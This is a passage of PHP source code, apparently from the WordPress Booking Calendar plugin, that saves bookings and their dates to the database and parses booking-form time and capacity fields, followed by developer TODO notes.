$create_params['all_booking_data_arr']['wpbc_custom_booking_form'] = array( 'type' => 'text', 'original_name' => 'wpbc_custom_booking_form' . $create_params['resource_id'], 'name' => 'wpbc_custom_booking_form', 'value' => $create_params['custom_form'] ); } if ( ! empty( $create_params['sync_gid'] ) ) { /** * Such fields are comming from '../wp-content/plugins/booking/core/sync/wpbc-gcal-class.php' in function run() */ // Escape any XSS injection from values in booking form list( $create_params['sync_gid'] ) = wpbc_escape_any_xss_in_arr( array( $create_params['sync_gid'] ) ); $sql_field_arr[] = array( 'name' => 'sync_gid', 'type' => '%s', 'value' => $create_params['sync_gid'] ); } // Escape any XSS injection from values in booking form $create_params['all_booking_data_arr'] = wpbc_escape_any_xss_in_arr( $create_params['all_booking_data_arr'] ); //Set LAST check out day as AVAILABLE - remove it if ( ( 'On' === get_bk_option( 'booking_last_checkout_day_available' ) ) && ( ! empty( $create_params['dates_only_sql_arr'] ) ) && ( count( $create_params['dates_only_sql_arr'] ) > 1 ) ) { unset( $create_params['dates_only_sql_arr'][ ( count( $create_params['dates_only_sql_arr'] ) - 1 ) ] ); // Remove LAST selected day in calendar //FixIn: 6.2.3.6 // Delete last item //FixIn: 9.9.0.19 $resources_in_dates_last_key = key( array_slice( $where_to_save_booking['resources_in_dates'], - 1, 1, true ) ); unset( $where_to_save_booking['resources_in_dates'][ $resources_in_dates_last_key ] ); } // :: ERROR :: if ( empty( $create_params['dates_only_sql_arr'] ) ) { // No dates :? return array( 'status' => 'error', 'message' => 'Sent request with no dates.' ); } // <editor-fold defaultstate="collapsed" desc=" :: ERROR :: <- CHECK_IN_DATE_OLDER_THAN_CHECK_OUT " > if ( count( $create_params['dates_only_sql_arr'] ) == 1 ) { // Is it single selected date ? // Is 'check in' date/time older than 'check out' date/time when SINGLE day for booking? Then show error. /** * If we are having "change over" days activated and selected only 1 day in calendar, * then we can have error: "Warning! Number of check in != check out times.", because "check in" day older than "check out" date. */ $is_apply__check_in_out__10s = false; $datestamp_check_in = wpbc_convert__sql_date__to_seconds( $create_params['dates_only_sql_arr'][0] . ' ' . $create_params['time_as_his_arr'][0], $is_apply__check_in_out__10s ); $datestamp_check_out = wpbc_convert__sql_date__to_seconds( $create_params['dates_only_sql_arr'][0] . ' ' . $create_params['time_as_his_arr'][1], $is_apply__check_in_out__10s ); if ( $datestamp_check_in > $datestamp_check_out ) { $error_message = sprintf( 'Error! Your check in date %s older than check out date %s. <br>Try to select more dates or use different time.' , '<strong>' . wpbc_convert__seconds__to_sql_date( $datestamp_check_in, $is_apply__check_in_out__10s ) . '</strong>' , '<strong>' . wpbc_convert__seconds__to_sql_date( $datestamp_check_out, $is_apply__check_in_out__10s ) . '</strong>' ); $error_message .= '<br>' . '<strong>Settings that can be reason of the issue:</strong> '; if( 'On' === get_bk_option( 'booking_last_checkout_day_available' )){ $error_message .= '<br>' . 'You have enabled <strong>"Set check out date as available"</strong> option at Booking > Settings General page in "Calendar" section. '; } if ( 'On' === get_bk_option( 'booking_range_selection_time_is_active' ) ){ $error_message .= '<br>' . 'You have enabled <strong>"Use changeover days"</strong> option at Booking > Settings General page in "Calendar" section with check-in/out times: ' . get_bk_option( 'booking_range_selection_start_time' ) . '/' . get_bk_option( 'booking_range_selection_end_time' ); } if ( $create_params['is_use_booking_recurrent_time'] ) { $error_message .= '<br>' . 'You have enabled <strong>"Use time selections as recurrent time slots"</strong> option at Booking > Settings General page in "Calendar" section. '; } return array( 'status' => 'error', 'message' => $error_message ); } } // </editor-fold> // Compose form data for DB. Can be different resource: 'selectbox-multiple^rangetime10[]^14..' <-> 'selectbox-multiple^rangetime2[]^14..' -> 'rangetime10' - child res. Previously 'rangetime2' - parent $form_data = wpbc_encode_booking_data_to_string( $create_params['all_booking_data_arr'], $create_params['resource_id'] ); // ----------------------------------------------------------------------------------------------------------------- // APPROVED / PENDING // ----------------------------------------------------------------------------------------------------------------- // Is approve booking $auto_approve_new_bookings_is_active = trim( get_bk_option( 'booking_auto_approve_new_bookings_is_active' ) ); $is_approved_dates = ( $auto_approve_new_bookings_is_active == 'On' ) ? 1 : intval( $create_params['is_approve_booking'] ); // Auto approve only for specific booking resources /** * How to use "Auto approve bookings only for specific booking resources" ? * Add code similar to this in your functions.php file in your theme, or in some other php file: * function my_wpbc_get_booking_resources_arr_to_auto_approve( $resources_to_approve ) { $resources_to_approve = array( 9, 12, 33 ); // Array of booking resources ID, which you need to auto approve return $resources_to_approve; } add_filter( 'wpbc_get_booking_resources_arr_to_auto_approve', 'my_wpbc_get_booking_resources_arr_to_auto_approve' ); */ $booking_resources_to_approve = array(); $booking_resources_to_approve = apply_filters( 'wpbc_get_booking_resources_arr_to_auto_approve', $booking_resources_to_approve ); //FixIn: 8.5.2.27 if ( in_array( $create_params['resource_id'], $booking_resources_to_approve ) ) { $is_approved_dates = 1; } if ( ( $create_params['is_from_admin_panel'] ) // true | false && ( get_bk_option( 'booking_auto_approve_bookings_if_added_in_admin_panel' ) == 'On' ) ){ //FixIn: 8.1.3.27 $is_approved_dates = 1; } // <editor-fold defaultstate="collapsed" desc=" == Save Booking == " > // ----------------------------------------------------------------------------------------------------------------- // Save Booking // ----------------------------------------------------------------------------------------------------------------- global $wpdb; $sql_field_arr[] = array( 'name' => 'form', 'type' => '%s', 'value' => $form_data ); $sql_field_arr[] = array( 'name' => 'booking_type', 'type' => '%d', 'value' => $create_params['resource_id'] ); $sql_field_arr[] = array( 'name' => 'modification_date', 'type' => '%s', 'value' => gmdate( 'Y-m-d H:i:s' ) ); $sql_field_arr[] = array( 'name' => 'sort_date', 'type' => '%s', 'value' => $create_params['dates_only_sql_arr'][0] . ' ' . $create_params['time_as_his_arr'][0] ); $sql_field_arr[] = array( 'name' => 'hash', 'type' => 'MD5(%s)', 'value' => time() . '_' . rand( 1000, 1000000 ) ); if ( ( 0 == $create_params['is_edit_booking'] ) // If not edit, then INSERT || ( 1 == $create_params['is_duplicate_booking'] ) // If duplicate, then INSERT ){ // Saved only for new booking creation. $sql_field_arr[] = array( 'name' => 'creation_date', 'type' => '%s', 'value' => gmdate( 'Y-m-d H:i:s' ) ); $sql_prepare_arr = array(); $sql_prepare_arr['name'] = array_map( function ( $value ) { return $value['name']; }, $sql_field_arr ); $sql_prepare_arr['type'] = array_map( function ( $value ) { return $value['type']; }, $sql_field_arr ); $sql_prepare_arr['value'] = array_map( function ( $value ) { return $value['value']; }, $sql_field_arr ); $sql_prepare_arr['name'] = implode( ', ', $sql_prepare_arr['name'] ); $sql_prepare_arr['type'] = implode( ', ', $sql_prepare_arr['type'] ); $sql = $wpdb->prepare( "INSERT INTO {$wpdb->prefix}booking " . " ( {$sql_prepare_arr['name']} )" . " VALUES ( {$sql_prepare_arr['type']} )" , $sql_prepare_arr['value'] ); if ( false === $wpdb->query( $sql ) ) { return array( 'status' => 'error','message' => 'Error. INSERT New Data in DB.' . ' FILE:' . __FILE__ . ' LINE:' . __LINE__ . ' SQL:' . $sql ); } // Get ID of booking $booking_id = (int) $wpdb->insert_id; } else { // Edit - UPDATE $booking_id = (int) $create_params['is_edit_booking']; $sql_prepare_arr = array(); $sql_prepare_arr['set'] = array_map( function ( $value ) { return $value['name'] . '=' . $value['type']; }, $sql_field_arr ); $sql_prepare_arr['value'] = array_map( function ( $value ) { return $value['value']; }, $sql_field_arr ); $sql_prepare_arr['set'] = implode( ', ', $sql_prepare_arr['set'] ); $sql = $wpdb->prepare( "UPDATE {$wpdb->prefix}booking SET " . " {$sql_prepare_arr['set']} " . " WHERE booking_id={$booking_id};" , $sql_prepare_arr['value'] ); if ( false === $wpdb->query( $sql ) ){ return array( 'status' => 'error','message' => 'Error. UPDATE Exist Data in DB.' . ' FILE:' . __FILE__ . ' LINE:' . __LINE__ . ' SQL:' . $sql ); } // Check if dates previously was approved. $slct_sql = "SELECT approved FROM {$wpdb->prefix}bookingdates WHERE booking_id IN ({$booking_id}) LIMIT 0,1"; $slct_sql_results = $wpdb->get_results( $slct_sql ); $is_approved_dates = ( count( $slct_sql_results ) > 0 ) ? $slct_sql_results[0]->approved : $is_approved_dates; $delete_sql = "DELETE FROM {$wpdb->prefix}bookingdates WHERE booking_id IN ({$booking_id})"; if ( false === $wpdb->query( $delete_sql ) ){ return array( 'status' => 'error','message' => 'Error. DELETE Old Dates in DB.' . ' FILE:' . __FILE__ . ' LINE:' . __LINE__ . ' SQL:' . $delete_sql ); } } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Compose D A T E S for DB == " > // ----------------------------------------------------------------------------------------------------------------- // Compose D A T E S for DB // ----------------------------------------------------------------------------------------------------------------- if ( class_exists( 'wpdev_bk_biz_l' ) ) { $field_names_arr = array( 'booking_id', 'booking_date', 'approved', 'type_id' ); } else { $field_names_arr = array( 'booking_id', 'booking_date', 'approved' ); } $field_names = implode( ', ', $field_names_arr ); $dates_sql = "INSERT INTO {$wpdb->prefix}bookingdates ( {$field_names} ) VALUES "; $insert_dates_arr = array(); $how_many_items_to_book = $create_params['how_many_items_to_book']; // $i - INDEX of child booking resource to book (if $how_many_items_to_book=1, then index always = 0 ) in [ 'resources_in_dates' = [ '2023-10-18' = [ 9, 12, 10, 11 ], ... ]...] - e.g. here = 9 for( $i = 0; $i < $how_many_items_to_book; $i++) { $date_number = 0; foreach ( $where_to_save_booking['resources_in_dates'] as $only_date_sql => $resources_in_date_arr ) { $date_resource_id = $resources_in_date_arr[ $i ]; // $create_params['resource_id'] <- Main resource (saved in wp_booking ) // $only_date_sql <- '2023-09-12' // $date_resource_id <- Child resource (need to save in wp_bookingdates) OR if ( $create_params['resource_id'] == $date_resource_id ) then NULL // --------------------------------------------------------------------------------------------------------- // Is full day booking: if ( ( '00:00' === substr( $where_to_save_booking['time_to_book'][0], 0, 5 ) ) && ( ( '24:00' === substr( $where_to_save_booking['time_to_book'][1], 0, 5 ) ) || ( '00:00' === substr( $where_to_save_booking['time_to_book'][1], 0, 5 ) ) ) ){ // Full days ******************************************************************************************* $full_date_sql = $only_date_sql . ' 00:00:00'; $insert_dates_arr[] = wpbc_prepare_date_row( $booking_id, $full_date_sql, $is_approved_dates, $date_resource_id, $create_params['resource_id'] ); } else { // Times if ( ( $create_params['is_use_booking_recurrent_time'] ) // Activated option to book times as 'time-slots' OR || ( 1 === count( $where_to_save_booking['resources_in_dates'] ) ) // Selected only 1 date, so use time as time-slot ) { // Time slots in each day ************************************************************************** // Start Time $full_date_sql = $only_date_sql . ' ' . $where_to_save_booking['time_to_book'][0]; $insert_dates_arr[] = wpbc_prepare_date_row( $booking_id, $full_date_sql, $is_approved_dates, $date_resource_id, $create_params['resource_id'] ); // End Time $full_date_sql = $only_date_sql . ' ' . $where_to_save_booking['time_to_book'][1]; $insert_dates_arr[] = wpbc_prepare_date_row( $booking_id, $full_date_sql, $is_approved_dates, $date_resource_id, $create_params['resource_id'] ); } else { // Check in/out ************************************************************************************ if ( 0 == $date_number ) { // Is check in ? $full_date_sql = $only_date_sql . ' ' . $where_to_save_booking['time_to_book'][0]; } else if ( ( count( $where_to_save_booking['resources_in_dates'] ) - 1 ) == $date_number ) { // Is check out ? $full_date_sql = $only_date_sql . ' ' . $where_to_save_booking['time_to_book'][1]; } else { // Middle date - Full Date $full_date_sql = $only_date_sql . ' 00:00:00'; } $insert_dates_arr[] = wpbc_prepare_date_row( $booking_id, $full_date_sql, $is_approved_dates, $date_resource_id, $create_params['resource_id'] ); } } // --------------------------------------------------------------------------------------------------------- $date_number++; } } $dates_sql .= implode( ', ', $insert_dates_arr ); if ( false === $wpdb->query( $dates_sql ) ) { return array( 'status' => 'error','message' => 'Error. INSERT "D A T E S" in DB.' . ' FILE:' . __FILE__ . ' LINE:' . __LINE__ . ' SQL:' . $dates_sql ); } // ----------------------------------------------------------------------------------------------------------------- // End D A T E S // ----------------------------------------------------------------------------------------------------------------- // </editor-fold> return array( 'status' => 'ok' , 'booking_id' => $booking_id , 'form_data' => $form_data , 'message' => '' ); } /** * Get SQL ROWs of VALUES for INSERT to DB * * @param int $booking_id 101 ID of the booking * @param string $full_date_sql '2023-09-12 10:00:01' SQL date * @param int $is_approved_dates 1 1 - approved, 0 - pending * @param int $date_resource_id ( >= biz_l ): 4 ID of child booking resource (if we save ONE booking in SEVERAL booking resources) field 'type_id' in wp_bookingdates * @param int $main_resource_id ( >= biz_l ): 1 ID of main (parent booking resource) * * @return string - SQL for dates VALUES to insert */ function wpbc_prepare_date_row( $booking_id, $full_date_sql, $is_approved_dates, $date_resource_id, $main_resource_id ) { global $wpdb; if ( class_exists( 'wpdev_bk_biz_l' ) ) { $insert_dates_arr = ( $main_resource_id != $date_resource_id ) ? $wpdb->prepare( "(%d, %s, %d, %d)", $booking_id, $full_date_sql, $is_approved_dates, $date_resource_id ) : $wpdb->prepare( "(%d, %s, %d, NULL)", $booking_id, $full_date_sql, $is_approved_dates ); } else { $insert_dates_arr = $wpdb->prepare( "(%d, %s, %d)", $booking_id, $full_date_sql, $is_approved_dates ); } return $insert_dates_arr; } // --------------------------------------------------------------------------------------------------------------------- // Support // --------------------------------------------------------------------------------------------------------------------- /** * Get booking_id and resource_id if we are editing the booking, by booking hash * * @param $booking_hash * @param $server_request_url * * @return array | false false if not edit Otherwise [ 'booking_id': 100, 'resource_id': 3 ] */ function wpbc_get_data__if_edit_booking( $booking_hash, $server_request_url ) { $is_edit_booking = false; if ( ! empty( $booking_hash ) ) { $my_booking_id_type = wpbc_hash__get_booking_id__resource_id( $booking_hash ); if ( $my_booking_id_type !== false ) { $is_edit_booking = array(); $is_edit_booking['booking_id'] = intval( $my_booking_id_type[0] ); $is_edit_booking['resource_id'] = intval( $my_booking_id_type[1] ); //TODO: test it. Check situation when we have editing "child booking resource", so need to re-update calendar and form to have it for parent resource. //FixIn: 6.1.1.9 if ( strpos( $server_request_url, 'resource_no_update' ) === false ) { //FixIn: 9.4.2.3 if ( ( function_exists( 'wpbc_is_this_child_resource' ) ) && ( wpbc_is_this_child_resource( $is_edit_booking['resource_id'] ) ) ) { $bk_parent_br_id = wpbc_get_parent_resource( $is_edit_booking['resource_id'] ); $is_edit_booking['resource_id'] = intval( $bk_parent_br_id ); } } } } return $is_edit_booking; } /** * Get how many items to book. Usually it's from [selectbox visitors "1" ... ] field. * * @param booking_form_data__arr = [ * selected_short_dates_hint = "September 27, 2023 - September 28, 2023" * days_number_hint = "2" * rangetime = "16:00 - 18:00" * starttime = "21:00" * durationtime = "00:30" * name = "John" * secondname = "Smith" * email = "john.smith@server.com" * visitors = "1" * children = "0" * details = "" * ] * * @return int */ function wpbc_get__how_many_items_to_book__in_booking_form( $booking_form_data__arr, $resource_id ){ $how_many_items_to_book = 1; //TODO: Check about some URL parameter: '&resource_no_update' to book parent resource as single resource! if ( ( class_exists( 'wpdev_bk_biz_l' ) ) && ( 0 !== wpbc_get_child_resources_number( $resource_id ) ) // Here several child booking resources ) { $booking_capacity_field = wpbc_get__booking_capacity_field__name(); if ( ( ! empty( $booking_capacity_field ) ) && ( isset( $booking_form_data__arr[ $booking_capacity_field ] ) ) ){ $how_many_items_to_book = intval( $booking_form_data__arr[ $booking_capacity_field ] ); // Get value of how many booking resources to book $how_many_items_to_book = ( $how_many_items_to_book > 0 ) ? $how_many_items_to_book : 1; } } return $how_many_items_to_book; } /** * Get capacity field -- 'pure name' * * @return string - field name, or empty string - '' if not defined * * In DB, we are saved field name type and possible name of custom booking form in format: 'custom_form_name^field_type^capacity_field_name' -> 'minimal^select^adults' * or for standard form: 'select^visitors' * and here we get only field name: 'visitors' */ function wpbc_get__booking_capacity_field__name() { if ( class_exists( 'wpdev_bk_biz_l' ) ) { if ( 'On' == get_bk_option( 'booking_quantity_control' ) ) { $booking_capacity_field = get_bk_option( 'booking_capacity_field' ); if ( ! empty( $booking_capacity_field ) ) { $booking_capacity_field = explode( '^', $booking_capacity_field ); if ( ! empty( $booking_capacity_field ) ) { $booking_capacity_field_name = $booking_capacity_field[ count( $booking_capacity_field ) - 1 ]; return $booking_capacity_field_name; } } } } return ''; } /** * Get time for booking from the booking form, as array of seconds: [ 0, 24 * 60 * 60 ] OR [ 10*60*60, 14*60*60 ]. If timefields not exist, then get time for full day booking. * @param $booking_form_data__arr * * @return array [ 0, 24 * 60 * 60 ] OR [ 10*60*60, 14*60*60 ] <- start and end time in seconds * * Example: * * // Firstly, we need to Get parsed booking form: [ name = "John", secondname = "Smith", email = "john.smith@server.com", visitors = "2",... ] * $structured_booking_data_arr = wpbc_get_parsed_booking_data_arr( $params["form_data"], $params["resource_id"], array( 'get' => 'value' ) ); * * // Now get start/end times as seconds: [ 64800, 72000 ] * $time_as_seconds_arr = wpbc_get_in_booking_form__time_to_book_as_seconds_arr( $structured_booking_data_arr ); */ function wpbc_get_in_booking_form__time_to_book_as_seconds_arr( $booking_form_data__arr ){ $selected_time_fields = wpbc_get__selected_time_fields__in_booking_form__as_arr( $booking_form_data__arr ); // 2.2 Get selected SECONDS to book --------------------------------------------------------------------------- $time_as_seconds_arr = array( 0, 24 * 60 * 60 ); // Full day booking by default foreach ( $selected_time_fields as $time_fields_obj ) { // { times_as_seconds: [ 21600, 23400 ], value_option_24h: '06:00 - 06:30', name: 'rangetime'} if ( false !== strpos( $time_fields_obj['name'], 'rangetime' ) ) { $time_as_seconds_arr[ 0 ] = $time_fields_obj['times_as_seconds'][ 0 ]; $time_as_seconds_arr[ 1 ] = $time_fields_obj['times_as_seconds'][ 1 ]; //break; // If we have range-time then skip this loop } if ( false !== strpos( $time_fields_obj['name'], 'starttime' ) ) { $time_as_seconds_arr[ 0 ] = $time_fields_obj['times_as_seconds'][ 0 ]; } if ( false !== strpos( $time_fields_obj['name'], 'endtime' ) ) { $time_as_seconds_arr[ 1 ] = $time_fields_obj['times_as_seconds'][ 0 ]; } } // For duration time we need to make a new loop, because we need to be sure that was defined START_TIME before this, // and end time was NOT defined, e.g. == (otherwise it's means that we already used END_TIME or RANGE_TIME) if ( ( ( 0 ) !== $time_as_seconds_arr[ 0 ] ) && ( (24 * 60 * 60 ) === $time_as_seconds_arr[ 1 ] ) ){ foreach ( $selected_time_fields as $time_fields_obj ) { // { times_as_seconds: [ 21600 ], value_option_24h: '06:00', name: 'durationtime'} if ( false !== strpos( $time_fields_obj['name'], 'durationtime' ) ) { $time_as_seconds_arr[ 1 ] = $time_as_seconds_arr[ 0 ] + $time_fields_obj['times_as_seconds'][ 0 ]; break; } } } return $time_as_seconds_arr; } /** * Get all time fields in the booking form as array of objects * * @param booking_form_data__arr = [ * selected_short_dates_hint = "September 27, 2023 - September 28, 2023" * days_number_hint = "2" * rangetime = "16:00 - 18:00" * starttime = "21:00" * durationtime = "00:30" * name = "John" * secondname = "Smith" * email = "john.smith@server.com" * visitors = "1" * children = "0" * details = "" * ] * @returns [] * * Example: * [ * [ * name = "rangetime" * value_option_24h = "16:00 - 18:00" * times_as_seconds = [ 57600, 64800 ] * ] * [ * name = "starttime" * value_option_24h = "21:00" * times_as_seconds = [ 75600 ] * ] * [ * name = "durationtime" * value_option_24h = "00:30" * times_as_seconds = [ 1800 ] * ] * ] */ function wpbc_get__selected_time_fields__in_booking_form__as_arr( $booking_form_data__arr ){ /** * Fields with [] like this select[name="rangetime1[]"] * it's when we have 'multiple' in shortcode: [select* rangetime multiple "06:00 - 06:30" ... ] */ $time_fields_arr = array( 'rangetime', 'starttime', 'endtime', 'durationtime' ); $time_fields_obj_arr = array(); // Loop all Time Fields for ( $ctf = 0; $ctf < count( $time_fields_arr ); $ctf ++ ) { $time_field = $time_fields_arr[ $ctf ]; if ( isset( $booking_form_data__arr[ $time_field ] ) ) { $value_option_seconds_arr = explode( '-', $booking_form_data__arr[ $time_field ] ); $times_as_seconds_arr = array(); foreach ( $value_option_seconds_arr as $time_val ) { $time_val = trim( $time_val ); if ( ! empty( $time_val ) ) { $start_end_times_arr = explode( ':', $time_val ); $time_in_seconds = intval( $start_end_times_arr[0] ) * 60 * 60 + intval( $start_end_times_arr[1] ) * 60; $times_as_seconds_arr[] = $time_in_seconds; } } if (! empty($times_as_seconds_arr)) { $time_fields_obj_arr[] = array( 'name' => $time_field, 'value_option_24h' => $booking_form_data__arr[ $time_field ], 'times_as_seconds' => $times_as_seconds_arr ); } } } return $time_fields_obj_arr; } //TODO: 2023-10-13 16:37 // - create new function for confirmation section // - Update payment request // - create redirection to the "Thank you." page and show there conformation, and payment request" // - define in the settings new Stripe and PayPal button design as default ! // - Be sure that 'booking_log_booking_actions' active by default // - test it in dark theme // - test closing booked dates if all time slot was booked - it's relative to 'different time slots in dif dates' // - add migrate support old dates selection variables // - check and remove other global Js vars // - Create wizard booking form style with steps ? // - Check Booking > Availability page relative new functionality of calendar_load ! // - Update last func in wpbc-booking-new.php and remove it. // - Test capacity in dates and time slots // - Next 9.9 Customizer Wizard // - Next 9.9 Update search admin UI // - Next 9.9 - update functionality in Search functionality based on similar to where_to_save function. // - Next 9.9 refactor Dates functions. // Done. - Next 9.9 Update Booking > Settings General page to show tabs vertically in left column // Create the same navigation panel at the Pro Booking > Settings > Form page. At left column custom forms, at top tolbar selectio of Booking form and "Content of booking fields data" form. // Create the same navigation for Emails. /** * TODO: Performance improvement: * "other_code": 0.003080129623413086 * "wpbc__where_to_save_booking": 0.060331106185913086 * "wpbc_db__booking_save": 0.023384809494018555 * "wpbc_maybe_get_payment_form": 1.3650128841400146 <- * "emails_sending": 1.5024309158325195 <- * "total": 2.9542438983917236 */